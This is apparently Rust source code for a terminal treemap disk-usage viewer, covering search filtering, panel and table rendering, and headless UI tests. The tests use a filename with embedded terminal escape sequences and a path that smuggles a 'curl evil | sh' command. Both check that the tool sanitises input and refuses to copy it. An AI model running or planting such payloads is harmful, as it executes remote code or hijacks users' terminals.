use super::model::{Cmd, Key, Model, Msg};
use super::{tw, trunc};
use crate::cancel::Cancel;
use crate::filter::{self, FilterResult, Query};
use crate::inventory::Tree;
use crate::textutil;
use crate::treemap::Rect;
use std::sync::Arc;
use std::time::{Duration, Instant, SystemTime};
/// A minimal single-line text editor.
#[derive(Default)]
pub(crate) struct LineEditor {
pub buf: Vec<char>,
pub cur: usize,
}
impl LineEditor {
pub fn text(&self) -> String {
self.buf.iter().collect()
}
pub fn set(&mut self, s: &str) {
self.buf = s.chars().collect();
self.cur = self.buf.len();
}
/// Applies an editing key; it reports whether the text changed and
/// whether the key was handled.
pub fn key(&mut self, k: &Key) -> (bool, bool) {
match k.name.as_str() {
"left" | "ctrl+b" => self.cur = self.cur.saturating_sub(1),
"right" | "ctrl+f" => self.cur = self.buf.len().min(self.cur + 1),
"home" | "ctrl+a" => self.cur = 0,
"end" | "ctrl+e" => self.cur = self.buf.len(),
"backspace" | "ctrl+h" => {
if self.cur > 0 {
self.buf.remove(self.cur - 1);
self.cur -= 1;
return (true, true);
}
}
"delete" | "ctrl+d" => {
if self.cur < self.buf.len() {
self.buf.remove(self.cur);
return (true, true);
}
}
"ctrl+u" => {
self.buf.drain(..self.cur);
self.cur = 0;
return (true, true);
}
"ctrl+k" => {
self.buf.truncate(self.cur);
return (true, true);
}
"ctrl+w" | "alt+backspace" => {
let mut i = self.cur;
while i > 0 && self.buf[i - 1] == ' ' {
i -= 1;
}
while i > 0 && self.buf[i - 1] != ' ' {
i -= 1;
}
self.buf.drain(i..self.cur);
self.cur = i;
return (true, true);
}
_ => {
if k.text.is_empty() || k.ctrl_alt {
return (false, false);
}
let rs: Vec<char> = k.text.chars().filter(|&r| r >= ' ' && r != '\x7f').collect();
if rs.is_empty() || self.buf.len() + rs.len() > 1024 {
return (false, true);
}
let n = rs.len();
self.buf.splice(self.cur..self.cur, rs);
self.cur += n;
return (true, true);
}
}
(false, true)
}
}
#[derive(Default)]
pub(crate) struct SearchState {
pub editing: bool,
pub ed: LineEditor,
pub query: Option<Arc<Query>>,
pub result: Option<FilterResult>,
pub err: String,
pub gen: u64,
pub busy: bool,
pub applied_at: Option<Instant>,
pub cancel: Option<Cancel>,
}
impl SearchState {
pub fn begin(&mut self) {
self.editing = true;
if let Some(q) = &self.query {
let s = q.to_string();
self.ed.set(&s);
}
}
}
impl Model {
pub fn search_key(&mut self, k: &Key) -> Cmd {
match k.name.as_str() {
"esc" => {
self.search.editing = false;
self.clear_filter();
return Cmd::None;
}
"enter" => {
self.search.editing = false;
if !self.search.err.is_empty() {
let e = format!("Invalid query: {}", self.search.err);
return self.warn(e);
}
return Cmd::None;
}
_ => {}
}
let (changed, _) = self.search.ed.key(k);
if changed {
return self.query_changed();
}
Cmd::None
}
/// Parses the editor contents and schedules a debounced apply.
pub fn query_changed(&mut self) -> Cmd {
let s = &mut self.search;
s.gen += 1;
let text = s.ed.text();
if text.is_empty() {
s.err.clear();
self.drop_filter();
return Cmd::None;
}
match filter::parse(&text, SystemTime::now()) {
Err(e) => {
s.err = e;
Cmd::None
}
Ok(q) => {
s.err.clear();
s.query = Some(Arc::new(q));
Cmd::Tick(Duration::from_millis(120), Msg::FilterDebounce(s.gen))
}
}
}
/// Replaces the filter with q and applies it immediately.
pub fn set_filter(&mut self, q: &str) -> Cmd {
self.search.ed.set(q);
self.search.editing = false;
let _ = self.query_changed();
if !self.search.err.is_empty() {
let e = format!("Invalid query: {}", self.search.err);
return self.warn(e);
}
self.apply_filter()
}
/// Evaluates the current query in the background. The tree is
/// read-locked by the worker; stale results are discarded by generation.
pub fn apply_filter(&mut self) -> Cmd {
let Some(q) = self.search.query.clone() else { return Cmd::None };
if let Some(c) = self.search.cancel.take() {
c.cancel();
}
let c = Cancel::new();
self.search.cancel = Some(c.clone());
self.search.busy = true;
self.search.applied_at = Some(Instant::now());
let (t, mode, gen) = (self.tree.clone(), self.size_mode, self.search.gen);
Cmd::run(move || {
let res = {
let g = t.read().unwrap();
filter::apply(&c, &g, q, mode)
};
Msg::Filter { gen, res }
})
}
pub fn filter_result(&mut self, gen: u64, res: Option<FilterResult>) -> Cmd {
let s = &mut self.search;
if gen != s.gen || s.query.is_none() {
return Cmd::None;
}
s.busy = false;
let Some(res) = res else { return Cmd::None };
s.result = Some(res);
self.invalidate();
Cmd::None
}
/// Removes the active filter but keeps the editor open.
pub fn drop_filter(&mut self) {
let s = &mut self.search;
if let Some(c) = &s.cancel {
c.cancel();
}
(s.query, s.result, s.busy) = (None, None, false);
self.invalidate();
}
pub fn clear_filter(&mut self) {
self.drop_filter();
self.search.ed.set("");
self.search.err.clear();
self.search.gen += 1;
}
pub fn paint_search(&self, cv: &mut Canvas, r: Rect) {
let t = &self.theme;
let s = &self.search;
let st = Style::new(t.fg, t.panel_bg);
cv.fill(r, " ", st);
let mut x = r.x + 1;
x += cv.text(x, r.y, "/ ", 2, Style::new(t.accent, t.panel_bg).with(BOLD));
let mut status_st = Style::new(t.muted, t.panel_bg);
let status = if !s.err.is_empty() {
status_st.fg = t.err;
format!("✗ {}", s.err)
} else if s.busy {
"filtering…".into()
} else if let Some(res) = &s.result {
format!("{} matches · {}", textutil::count(res.count), textutil::size(res.total))
} else if s.ed.buf.is_empty() {
"name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear".into()
} else {
String::new()
};
let sw = tw(&status).min(r.w / 2);
let avail = r.w - (x - r.x) - sw - 3;
// Scroll the text so the cursor stays visible.
let text = &s.ed.buf;
let start = if s.ed.cur as i32 > avail - 1 { (s.ed.cur as i32 - avail + 1) as usize } else { 0 };
let end = text.len().min(start + avail.max(0) as usize).max(start);
let vis: String = text[start..end].iter().collect();
cv.text(x, r.y, &textutil::sanitize(&vis), avail, st);
let before: String = text[start..s.ed.cur].iter().collect();
let cx = x + tw(&textutil::sanitize(&before));
let under = if s.ed.cur < text.len() { textutil::sanitize(&text[s.ed.cur].to_string()) } else { " ".into() };
cv.text(cx, r.y, &under, 2, Style::new(t.panel_bg, t.fg).with(self.mono_rev()));
cv.text_right(r.x, r.y, r.w - 1, &trunc(&status, sw), status_st);
}
pub fn paint_filter_summary(&self, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = &self.theme;
let s = &self.search;
let mut x = r.x + 1;
x += cv.text(x, r.y, " FILTER ", 8, Style::new(t.text_on(t.warn), t.warn).with(BOLD | self.mono_rev()));
let q = s.query.as_ref().map(|q| q.to_string()).unwrap_or_default();
x += cv.text(x + 1, r.y, &textutil::sanitize(&q), r.w / 2, Style::new(t.fg, t.panel_bg).with(BOLD)) + 1;
let mut info = "filtering…".to_string();
if let (Some(res), false) = (&s.result, s.busy) {
info = format!(
"{} matches · {} of {} · / edit · Esc clear",
textutil::count(res.count),
textutil::size(res.total),
textutil::size(tr.node(0).total(self.size_mode))
);
}
cv.text(x + 2, r.y, &info, r.x + r.w - x - 3, Style::new(t.muted, t.panel_bg));
}
}
+111
View File
@@ -0,0 +1,111 @@
//! The large-layout side panel: directory summary, category breakdown and
//! the selected item.
use super::canvas::{Canvas, Style, BOLD};
use super::modal::wrap;
use super::model::{is_group, Model};
use super::render::kind_label;
use super::san;
use crate::inventory::{Category, Tree, NO_NODE};
use crate::textutil;
use crate::treemap::Rect;
impl Model {
pub fn paint_side(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = self.theme.clone();
let ps = t.panel();
cv.fill(r, " ", ps);
cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, "│", Style::new(t.faint, t.panel_bg));
let w = r.w - 3;
let x = r.x + 1;
let mut y = r.y + 1;
let end = r.y + r.h;
let head = |cv: &mut Canvas, y: &mut i32, s: &str| {
if *y < end {
cv.text(x, *y, s, w, Style::new(t.accent, t.panel_bg).with(BOLD));
*y += 1;
}
};
let kvl = |cv: &mut Canvas, y: &mut i32, k: &str, v: &str, vs: Style| {
if *y < end {
cv.text(x, *y, k, w, Style::new(t.muted, t.panel_bg));
cv.text_right(x, *y, w, v, vs);
*y += 1;
}
};
let val = Style::new(t.fg, t.panel_bg).with(BOLD);
let plain = Style::new(t.fg, t.panel_bg);
let z = tr.node(self.zoom);
head(cv, &mut y, "DIRECTORY");
for l in wrap(&san(&z.name), w) {
if y < end {
cv.text(x, y, &l, w, Style::new(t.fg, t.panel_bg).with(BOLD));
y += 1;
}
}
y += 1;
kvl(cv, &mut y, "Size", &textutil::size(self.size_of(tr, self.zoom)), val);
kvl(cv, &mut y, "Logical", &textutil::size(z.tot_size), plain);
kvl(cv, &mut y, "Allocated", &textutil::size(z.tot_alloc), plain);
kvl(cv, &mut y, "Files", &textutil::count(z.files as i64), plain);
kvl(cv, &mut y, "Directories", &textutil::count(z.dirs as i64), plain);
if z.errors > 0 {
kvl(cv, &mut y, "Errors", &textutil::count(z.errors as i64), Style::new(t.err, t.panel_bg).with(BOLD));
}
y += 1;
// Category breakdown with proportional bars.
if let Some(cs) = tr.cat_sizes(self.zoom) {
head(cv, &mut y, "CATEGORIES");
let mut cats: Vec<(Category, i64)> =
cs.iter().enumerate().filter(|(_, &v)| v > 0).map(|(i, &v)| (Category::from_u8(i as u8), v)).collect();
let total: i64 = cats.iter().map(|c| c.1).sum();
cats.sort_by(|a, b| b.1.cmp(&a.1));
for &(c, v) in &cats {
if y >= end - 8 {
break;
}
let col = t.cat[c as usize];
let sw = if t.mono || t.ascii { " " } else { "██ " };
cv.text(x, y, sw, 3, Style::new(col, t.panel_bg));
cv.text(x + 3, y, c.name(), w - 3, plain);
cv.text_right(x, y, w, &textutil::percent(v, total), Style::new(t.muted, t.panel_bg));
y += 1;
self.paint_bar(cv, x + 3, y, w - 3, v as f64 / cats[0].1 as f64, col, false);
y += 1;
}
y += 1;
}
// Selected item.
if y < end - 4 {
head(cv, &mut y, "SELECTED");
let mut desc = Vec::new();
if is_group(self.sel) {
if let Some(g) = self.group_info(self.sel) {
desc.push(format!("{} smaller items", textutil::count(g.ids().len() as i64)));
desc.push(textutil::size(g.size));
}
} else {
let id = self.selected_node(tr);
if id != NO_NODE {
let n = tr.node(id);
desc.extend(wrap(&san(&n.name), w));
desc.push(textutil::size(self.size_of(tr, id)) + " · " + &textutil::percent(self.size_of(tr, id), self.size_of(tr, self.zoom)));
if n.is_dir() {
desc.push(textutil::count(n.files as i64) + " files");
} else {
desc.push(kind_label(n));
}
}
}
for d in desc {
if y < end {
cv.text(x, y, &d, w, plain);
y += 1;
}
}
}
}
}
+190
View File
@@ -0,0 +1,190 @@
//! A scrollable list with a cursor, shared by the list-style views.
use super::canvas::{rgb, Canvas, Color, Style, BOLD};
use super::model::{Cmd, Hit, HitAct, Model};
use super::{pad_left, trunc, trunc_left};
use crate::inventory::Tree;
use crate::textutil;
use crate::treemap::Rect;
/// Describes one table column.
pub(crate) struct Column {
pub title: &'static str,
pub width: i32, // 0 = flexible (takes the remaining space)
pub right: bool,
pub clip_left: bool, // truncate from the left (paths: the tail matters)
}
pub(crate) const fn col(title: &'static str, width: i32, right: bool, clip_left: bool) -> Column {
Column { title, width, right, clip_left }
}
/// One rendered row: cell strings plus optional per-cell styles.
#[derive(Default)]
pub(crate) struct TableRow {
pub cells: Vec<String>,
pub styles: Vec<Option<Style>>, // None = default
pub bar: f64, // 0..1 for an optional bar column (-1 = none)
pub bar_col: Color,
}
#[derive(Default)]
pub(crate) struct Table {
pub cursor: i32,
pub offset: i32,
pub height: i32, // rows visible in the last paint
}
impl Table {
/// Moves the cursor three rows for a mouse wheel step.
pub fn scroll(&mut self, up: bool, n: usize) {
self.mv(if up { -3 } else { 3 }, n);
}
fn mv(&mut self, d: i32, n: usize) {
if n == 0 {
self.cursor = 0;
return;
}
self.cursor = (self.cursor + d).max(0).min(n as i32 - 1);
}
/// Handles navigation keys common to all tables.
pub fn key(&mut self, k: &str, n: usize) -> bool {
let page = (self.height - 1).max(1);
match k {
"up" | "k" => self.mv(-1, n),
"down" | "j" => self.mv(1, n),
"pgup" | "ctrl+b" => self.mv(-page, n),
"pgdown" | "ctrl+f" => self.mv(page, n),
"end" | "G" => self.mv(n as i32, n),
"g" => self.cursor = 0,
_ => return false,
}
true
}
/// The cursor as an index (it is never negative).
pub fn at(&self) -> usize {
self.cursor.max(0) as usize
}
pub fn paint(&mut self, m: &mut Model, cv: &mut Canvas, r: Rect, cols: &[Column], rows: &[TableRow], title: &str) {
let t = m.theme.clone();
cv.fill(r, " ", t.base());
if r.h < 3 {
return;
}
let mut y = r.y;
if !title.is_empty() {
cv.text(r.x + 1, y, title, r.w - 2, Style::new(t.accent, t.bg).with(BOLD));
y += 1;
}
// Resolve flexible width.
let fixed: i32 = cols.iter().map(|c| c.width + 1).sum();
let flex = (r.w - 2 - fixed).max(8);
let width = |c: &Column| if c.width == 0 { flex } else { c.width };
let mut x = r.x + 1;
let hdr = Style::new(t.muted, t.bg).with(BOLD);
for c in cols {
let w = width(c);
let s = if c.right { pad_left(c.title, w) } else { c.title.to_string() };
cv.text(x, y, &s, w, hdr);
x += w + 1;
}
y += 1;
cv.hline(r.x + 1, y, r.w - 2, "─", Style::new(t.faint, t.bg));
y += 1;
self.height = r.y + r.h - y;
let n = rows.len() as i32;
if self.cursor >= n {
self.cursor = (n - 1).max(0);
}
if self.cursor < self.offset {
self.offset = self.cursor;
}
if self.cursor >= self.offset + self.height {
self.offset = self.cursor - self.height + 1;
}
self.offset = 0.max(self.offset.min(n - self.height));
let mut i = self.offset;
while i < n && y < r.y + r.h {
let row = &rows[i as usize];
let sel = i == self.cursor;
let mut base = t.base();
if sel {
base = Style::new(t.text_on(t.sel), t.sel).with(BOLD | m.mono_rev());
cv.fill(Rect { x: r.x, y, w: r.w, h: 1 }, " ", base);
}
let mut x = r.x + 1;
for (ci, c) in cols.iter().enumerate() {
let w = width(c);
let s = row.cells.get(ci).map_or("", |s| s.as_str());
let st = match row.styles.get(ci) {
Some(Some(st)) if !sel => *st,
_ => base,
};
if c.title.is_empty() && row.bar >= 0.0 {
m.paint_bar(cv, x, y, w, row.bar, row.bar_col, sel);
} else if c.right {
cv.text(x, y, &pad_left(s, w), w, st);
} else if c.clip_left {
cv.text(x, y, &trunc_left(s, w), w, st);
} else {
cv.text(x, y, &trunc(s, w), w, st);
}
x += w + 1;
}
m.hits.push(Hit { r: Rect { x: r.x, y, w: r.w, h: 1 }, act: HitAct::Row(i as usize) });
y += 1;
i += 1;
}
if rows.is_empty() {
cv.text_centered(r.x, r.y + r.h / 2, r.w, "Nothing to show", t.muted());
}
if n > self.height && self.height > 0 {
let pos = format!("{}/{}", textutil::count(self.cursor as i64 + 1), textutil::count(n as i64));
cv.text_right(r.x, r.y, r.w - 1, &pos, t.muted());
}
}
}
impl Model {
/// Draws a proportional bar with eighth-block precision.
#[allow(clippy::too_many_arguments)]
pub fn paint_bar(&self, cv: &mut Canvas, x: i32, y: i32, w: i32, frac: f64, col: Color, sel: bool) {
let t = &self.theme;
let col = if col.is_default() { t.accent } else { col };
let bg = if sel { t.sel.mix(rgb(0, 0, 0), 0.25) } else { t.bg.mix(t.fg, 0.08) };
let mut eighths = (frac * (w * 8) as f64 + 0.5) as i64;
const PARTS: [&str; 8] = ["", "▏", "▎", "▍", "▌", "▋", "▊", "▉"];
for i in 0..w {
let mut ch = if eighths >= 8 {
"█"
} else if eighths > 0 {
PARTS[eighths as usize]
} else {
" "
};
if t.ascii {
ch = if eighths >= 4 { "#" } else { " " };
}
eighths -= 8;
let st = if t.mono { Style::default() } else { Style::new(col, bg) };
cv.text(x + i, y, ch, 1, st);
}
}
/// Lets mouse actions reuse key handling (lock already held).
pub fn handle_key_name(&mut self, tr: &Tree, k: &str) -> Cmd {
let (handled, cmd) = self.view_key(tr, k);
if handled {
return cmd;
}
match k {
"enter" => self.inspect_selection(tr),
"space" => self.zoom_into_selection(tr),
_ => Cmd::None,
}
}
}
+513
View File
@@ -0,0 +1,513 @@
//! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go).
use super::bench::opts_for;
use super::color256::{quant16, quant256};
use super::canvas::rgb;
use super::mapview::TOP_MIN_AREA;
use super::model::*;
use super::modals::new_info_modal;
use crate::cancel::Cancel;
use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED};
use crate::scan;
use crate::textutil;
use crate::treemap::Block;
use std::os::unix::ffi::OsStrExt;
use std::sync::{Arc, RwLock};
use std::time::{Duration, Instant};
const HOSTILE: &[u8] = b"evil\x1b]0;pwned\x07\x1b[2J.iso";
fn add_file(t: &mut Tree, p: NodeId, name: &[u8], size: i64) -> NodeId {
let id = t.add(p, name, Kind::File);
let n = t.node_mut(id);
(n.size, n.alloc) = (size, size);
n.cat = category_for(&ext(name), false, false);
id
}
fn add_dir(t: &mut Tree, p: NodeId, name: &[u8]) -> NodeId {
let id = t.add(p, name, Kind::Dir);
t.node_mut(id).flags |= FLAG_SCANNED;
id
}
fn test_tree() -> Tree {
let mut t = Tree::new(b"/srv", Kind::Dir);
let file = |t: &mut Tree, p, name: &[u8], size| {
let id = add_file(t, p, name, size);
t.node_mut(id).mtime = 1_700_000_000_000_000_000;
};
let backups = add_dir(&mut t, 0, b"backups");
for i in 0..40i64 {
file(&mut t, backups, format!("dump-{i:02}.tar.gz").as_bytes(), (1 + i) << 30);
}
let vms = add_dir(&mut t, 0, b"vms");
file(&mut t, vms, b"ubuntu.qcow2", 86 << 30);
file(&mut t, vms, b"win.vmdk", 40 << 30);
let media = add_dir(&mut t, 0, b"media");
let photos = add_dir(&mut t, media, "photos 日本語".as_bytes());
for i in 0..300i64 {
file(&mut t, photos, format!("img{i:03}.jpg").as_bytes(), (i + 1) << 20);
}
file(&mut t, media, HOSTILE, 9 << 30);
file(&mut t, media, "👨‍👩‍👧 family.mp4".as_bytes(), 12 << 30);
let tiny = add_dir(&mut t, 0, b"tiny");
for i in 0..2000 {
file(&mut t, tiny, format!("f{i}").as_bytes(), 100);
}
file(&mut t, 0, b"README", 10);
t.recompute();
t.stats.complete = true;
t
}
fn model_for(t: Tree) -> Model {
let tr = Arc::new(RwLock::new(t));
let mut m = Model::new(opts_for(tr.clone()), None, tr, Cancel::new());
m.profile = Profile::TrueColor;
m
}
fn new_test_model() -> Model {
model_for(test_tree())
}
fn send(m: &mut Model, msgs: Vec<Msg>) {
for msg in msgs {
m.update(msg);
}
}
fn key(s: &str) -> Msg {
Msg::Key(Key::from_name(s))
}
fn size(w: i32, h: i32) -> Msg {
Msg::Size(w, h)
}
/// Removes CSI sequences.
fn strip(s: &str) -> String {
let mut out = String::with_capacity(s.len());
let mut it = s.chars();
while let Some(c) = it.next() {
if c == '\x1b' && it.clone().next() == Some('[') {
it.next();
for c in it.by_ref() {
if ('\x40'..='\x7e').contains(&c) {
break;
}
}
continue;
}
out.push(c);
}
out
}
/// Verifies the rendered frame exactly fills w×h cells and that no filename
/// control sequence leaked through.
fn check_frame(m: &mut Model, w: i32, h: i32) -> String {
let content = m.view().to_string();
assert!(
!content.contains("\x1b]") && !content.contains('\x07') && !content.contains("\x1b[2J"),
"terminal control sequence from a filename leaked into the frame"
);
let lines: Vec<&str> = content.split('\n').collect();
assert_eq!(lines.len() as i32, h, "{w}x{h}: frame has {} lines", lines.len());
for (i, l) in lines.iter().enumerate() {
let got = textutil::width(&strip(l)) as i32;
assert_eq!(got, w, "{w}x{h}: line {i} has width {got}: {:?}", strip(l));
}
strip(&content)
}
fn find(m: &Model, name: &[u8]) -> NodeId {
let t = m.tree.read().unwrap();
let mut found = None;
t.walk(0, |id, n| {
if &*n.name == name {
found = Some(id);
}
true
});
found.expect("node not found")
}
fn find_block(bs: &[Block], id: i64) -> Block {
bs.iter().copied().find(|b| b.id == id).unwrap_or(Block { id: 0, rect: Default::default() })
}
#[test]
fn resize_transitions_preserve_state() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40)]);
check_frame(&mut m, 120, 40);
// Zoom into media and select something that is not the default.
let media = find(&m, b"media");
(m.sel, m.user_sel) = (media as i64, true);
send(&mut m, vec![key("space")]);
assert_eq!(m.zoom, media);
check_frame(&mut m, 120, 40);
send(&mut m, vec![key("right")]);
let sel = m.sel;
for (w, h) in [(80, 24), (120, 40), (300, 80), (70, 20), (180, 50), (40, 10), (39, 9), (200, 60)] {
send(&mut m, vec![size(w, h)]);
check_frame(&mut m, w, h);
assert_eq!(m.zoom, media, "{w}x{h}: zoom lost");
assert!(m.sel == sel || is_group(m.sel), "{w}x{h}: selection changed from {sel} to {}", m.sel);
}
// The layout must be recomputed for the new geometry, not stretched.
let l = m.tm.clone().unwrap();
assert!(l.rect.w <= 200 && l.rect.h <= 60, "layout not recomputed for final size: {:?}", l.rect);
let r = l.rect;
for b in &l.blocks {
let br = b.rect;
assert!(br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h, "block {b:?} outside treemap {r:?}");
}
}
#[test]
fn resize_storm() {
let mut m = new_test_model();
let mut rnd = 1u64;
let mut intn = |n: u64| {
rnd = rnd.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407);
(rnd >> 33) % n
};
send(&mut m, vec![size(120, 40)]);
m.view();
send(&mut m, vec![key("right"), key("down")]);
let sel = m.sel;
for i in 0..300 {
let (w, h) = (20 + intn(300) as i32, 5 + intn(90) as i32);
send(&mut m, vec![size(w, h)]);
if i % 7 == 0 {
m.view(); // renders interleave with resizes like the real event loop
}
}
send(&mut m, vec![size(150, 45)]);
check_frame(&mut m, 150, 45);
assert_eq!(m.sel, sel, "selection lost in resize storm");
}
#[test]
fn modal_survives_resize() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40), key("enter")]);
assert_eq!(m.modals.len(), 1, "Enter should open the info modal");
for (w, h) in [(120, 40), (60, 14), (41, 10), (300, 80), (45, 12)] {
send(&mut m, vec![size(w, h)]);
let out = check_frame(&mut m, w, h);
assert!(out.contains("ITEM INFORMATION"), "{w}x{h}: modal title missing:\n{out}");
let f = &m.modals[0];
assert!(f.view_h >= 1 && f.view_h <= h, "{w}x{h}: modal viewport {}", f.view_h);
}
// Scrolling in a tiny terminal must stay in range.
send(&mut m, vec![size(45, 12)]);
for _ in 0..100 {
send(&mut m, vec![key("down")]);
}
check_frame(&mut m, 45, 12);
let f = &m.modals[0];
assert!(f.scroll >= 0 && f.scroll <= f.content_n, "scroll out of range: {} of {}", f.scroll, f.content_n);
send(&mut m, vec![key("esc")]);
assert!(m.modals.is_empty(), "Esc should close the modal");
}
#[test]
fn spatial_navigation_uses_geometry() {
let mut m = new_test_model();
send(&mut m, vec![size(160, 45)]);
m.view();
let blocks = m.tm.clone().unwrap().blocks.clone();
for dir in ["right", "down", "left", "up"] {
let before = m.sel;
send(&mut m, vec![key(dir)]);
m.view();
if m.sel == before {
continue; // edge of the map
}
let (a, b) = (find_block(&blocks, before).rect, find_block(&blocks, m.sel).rect);
let ok = match dir {
"right" => b.x >= a.x + a.w,
"left" => b.x + b.w <= a.x,
"down" => b.y >= a.y + a.h,
_ => b.y + b.h <= a.y,
};
assert!(ok, "{dir} moved to a block that is not in that direction: {a:?} -> {b:?}");
}
}
#[test]
fn zoom_breadcrumbs_and_home() {
let mut m = new_test_model();
send(&mut m, vec![size(100, 30)]);
let media = find(&m, b"media");
let photos = find(&m, "photos 日本語".as_bytes());
(m.sel, m.user_sel) = (media as i64, true);
send(&mut m, vec![key("space")]);
m.sel = photos as i64;
send(&mut m, vec![key("space")]);
assert_eq!(m.zoom, photos, "did not zoom into photos");
let out = check_frame(&mut m, 100, 30);
assert!(out.contains("media › photos 日本語"), "breadcrumbs missing:\n{out}");
// Narrow terminal: breadcrumbs truncate from the left, keeping the tail.
send(&mut m, vec![size(42, 12)]);
let out = check_frame(&mut m, 42, 12);
assert!(out.contains("photos"), "breadcrumb tail missing:\n{out}");
send(&mut m, vec![key("backspace")]);
assert!(m.zoom == media && m.sel == photos as i64, "backspace: zoom {} sel {}", m.zoom, m.sel);
send(&mut m, vec![key("home")]);
assert_eq!(m.zoom, 0, "home did not return to root");
}
#[test]
fn filter_transforms_map() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40), key("/")]);
for c in "ext = gz".chars() {
send(&mut m, vec![Msg::Key(Key { name: c.to_string(), text: c.to_string(), ctrl_alt: false })]);
}
assert!(m.search.err.is_empty() && m.search.query.is_some(), "query not parsed: {:?}", m.search.err);
let msgs = m.apply_filter().run_sync();
send(&mut m, msgs);
send(&mut m, vec![key("enter")]);
assert!(m.search.result.is_some(), "no filter result");
let out = check_frame(&mut m, 120, 40);
assert!(!out.contains("vms/") && out.contains("backups/"), "filter not applied to the map:\n{out}");
assert!(out.contains("FILTER"), "filter indicator missing");
send(&mut m, vec![key("esc")]);
assert!(m.search.query.is_none() && m.search.result.is_none(), "Esc should clear the filter");
let out = check_frame(&mut m, 120, 40);
assert!(out.contains("vms/"), "map not restored after clearing filter:\n{out}");
}
#[test]
fn hostile_name_sanitised_in_modal() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40)]);
let id = find(&m, HOSTILE);
let t = m.tree.clone();
let md = new_info_modal(&m, &t.read().unwrap(), id);
m.open_modal(md);
let out = check_frame(&mut m, 120, 40);
assert!(out.contains(r"\x1b]0;pwned\x07"), "escaped name not shown:\n{out}");
}
#[test]
fn views_render_at_many_sizes() {
let mut m = new_test_model();
for _ in 0..m.views.len() {
for (w, h) in [(40, 10), (80, 24), (150, 45), (91, 22)] {
send(&mut m, vec![size(w, h)]);
check_frame(&mut m, w, h);
send(&mut m, vec![key("down"), key("down")]);
check_frame(&mut m, w, h);
}
send(&mut m, vec![key("tab")]);
}
send(&mut m, vec![key("?")]);
send(&mut m, vec![size(60, 15)]);
check_frame(&mut m, 60, 15);
}
#[test]
fn level_of_detail_groups_tiny_files() {
let mut m = new_test_model();
send(&mut m, vec![size(100, 30)]);
let tiny = find(&m, b"tiny");
let t = m.tree.clone();
m.zoom_to(&t.read().unwrap(), tiny);
m.view();
let l = m.tm.clone().unwrap();
assert!(l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1, "{} blocks for 2000 equal files: LOD not applied", l.blocks.len());
assert!(l.groups.contains_key(&group_id(tiny)), "expected a group block for small items");
}
#[test]
fn ctrl_c_quits_when_idle() {
let mut m = new_test_model();
send(&mut m, vec![size(80, 24)]);
m.update(Msg::Key(Key { name: "ctrl+c".into(), text: String::new(), ctrl_alt: true }));
assert!(m.quit, "Ctrl+C should quit when no scan runs");
}
#[test]
fn mouse() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40)]);
m.view();
// Click the centre of a block other than the selected one.
let target = {
let t = m.tree.read().unwrap();
m.tm.as_ref().unwrap().blocks.iter().copied()
.find(|b| b.id != m.sel && b.id >= 0 && t.node(b.id as NodeId).is_dir() && b.rect.w > 4)
.unwrap()
};
let click = || Msg::Click { x: target.rect.x + target.rect.w / 2, y: target.rect.y + target.rect.h / 2, button: Button::Left };
send(&mut m, vec![click()]);
assert_eq!(m.sel, target.id, "click selected the wrong block");
m.view();
send(&mut m, vec![click()]); // second click within the double-click window
assert_eq!(m.zoom as i64, target.id, "double click should zoom");
m.view();
send(&mut m, vec![Msg::Wheel { x: 50, y: 20, up: false }]);
assert_eq!(m.zoom, 0, "wheel down should zoom out");
// A modal swallows clicks; clicking outside closes it.
send(&mut m, vec![key("?")]);
m.view();
send(&mut m, vec![Msg::Click { x: 0, y: 39, button: Button::Left }]);
assert!(m.modals.is_empty(), "click outside modal should close it");
}
#[test]
fn quantizers() {
assert_eq!(quant16(rgb(10, 12, 8)), 0, "near-black should map to black");
let n = quant16(rgb(0xe0, 0x6c, 0x75));
assert!(n == 1 || n == 9, "red-ish mapped to {n}");
let n = quant256(rgb(40, 48, 30));
assert!(n >= 16, "256 quantizer used palette-dependent index {n}");
// A dark, slightly tinted shade must land on the grey ramp or a dark
// cube entry, not a saturated one like olive (58) or navy (17).
assert!(![58, 17, 22].contains(&n), "dark tint mapped to saturated {n}");
}
#[test]
fn colour_depths_render_same_geometry() {
for p in [Profile::TrueColor, Profile::Ansi256, Profile::Ansi, Profile::Ascii] {
let mut m = new_test_model();
m.profile = p;
send(&mut m, vec![size(100, 30)]);
check_frame(&mut m, 100, 30);
}
}
// A filename with a newline would run commands when pasted into a shell.
#[test]
fn copy_refuses_control_characters() {
let mut m = new_test_model();
m.copy_path(b"/srv/x\ncurl evil | sh\n");
assert!(m.toast.starts_with("Not copied"), "hostile path copied: {:?}", m.toast);
m.copy_path(&[b"/srv/media/".as_slice(), HOSTILE].concat());
assert!(m.toast.starts_with("Not copied"), "escape sequence copied: {:?}", m.toast);
m.copy_path("/srv/photos 日本語/img001.jpg".as_bytes());
assert!(m.toast.starts_with("Copied"), "plain path refused: {:?}", m.toast);
}
// ---- nest_test.go -----------------------------------------------------------
fn root_tree() -> Tree {
let mut t = Tree::new(b"/", Kind::Dir);
let mnt = add_dir(&mut t, 0, b"mnt");
let raid = add_dir(&mut t, mnt, b"raid");
let media = add_dir(&mut t, raid, b"media");
for show in ["X-Files", "Simpsons", "Frasier"] {
let s = add_dir(&mut t, media, show.as_bytes());
for i in 1..=5 {
let se = add_dir(&mut t, s, format!("S{i:02}").as_bytes());
for e in 1..=20i64 {
add_file(&mut t, se, format!("E{e:02}.mkv").as_bytes(), e << 28);
}
}
}
let usr = add_dir(&mut t, 0, b"usr");
let lib = add_dir(&mut t, usr, b"lib");
for i in 0..50i64 {
add_file(&mut t, lib, format!("lib{i}.so").as_bytes(), (i + 1) << 22);
}
let v = add_dir(&mut t, 0, b"var");
let log = add_dir(&mut t, v, b"log");
add_file(&mut t, log, b"syslog", 2 << 30);
t.recompute();
t.stats.complete = true;
t
}
